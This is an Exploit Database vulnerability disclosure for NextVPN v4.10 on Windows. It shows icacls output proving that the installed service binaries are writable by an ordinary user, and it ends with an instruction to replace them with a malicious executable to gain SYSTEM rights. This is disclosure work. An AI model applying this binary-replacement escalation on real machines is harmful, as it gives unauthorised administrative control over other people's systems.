NextVPN v4.10 – Insecure File Permissions

• Exploit Database
• 112 阅读

• 作者： SajjadBnd
  日期： 2019-12-31
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47831/
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  # Exploit Title: NextVPN v4.10 - Insecure File Permissions # Date: 2019-12-23 # Exploit Author: SajjadBnd # Contact: blackwolf@post.com # Vendor Homepage: https://vm3max.site # Software Link:http://dl.spacevm.com/NextVPNSetup-v4.10.exe # Version: 4.10 # Tested on: Win10 Professional x64   [ Description ]   The NextVPN Application was installed with insecure file permissions. It was found that all folder and file permissions were incorrectly configured during installation. It was possible to replace the service binary.   [ PoC ]   C:\Users\user\AppData\Local\NextVPN>icacls *.exe   Helper64.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) NextVPN.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) Proxifier.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) ProxyChecker.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) Uninstall.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) Successfully processed 5 files; Failed processing 0 files and other Directories :   >cd openconnect openconnect.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) Successfully processed 1 files; Failed processing 0 files >cd st st.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F) Successfully processed 1 files; Failed processing 0 files >cd update   update.exe NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) DESKTOP-5V14SL6\user:(F)   Successfully processed 1 files; Failed processing 0 files   [ Exploit -Privilege Escalation]   ReplaceNextVPN.exe,update.exe,st.exe,openconnect.exe,Helper64.exe and other ... with any executable maliciousfile you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)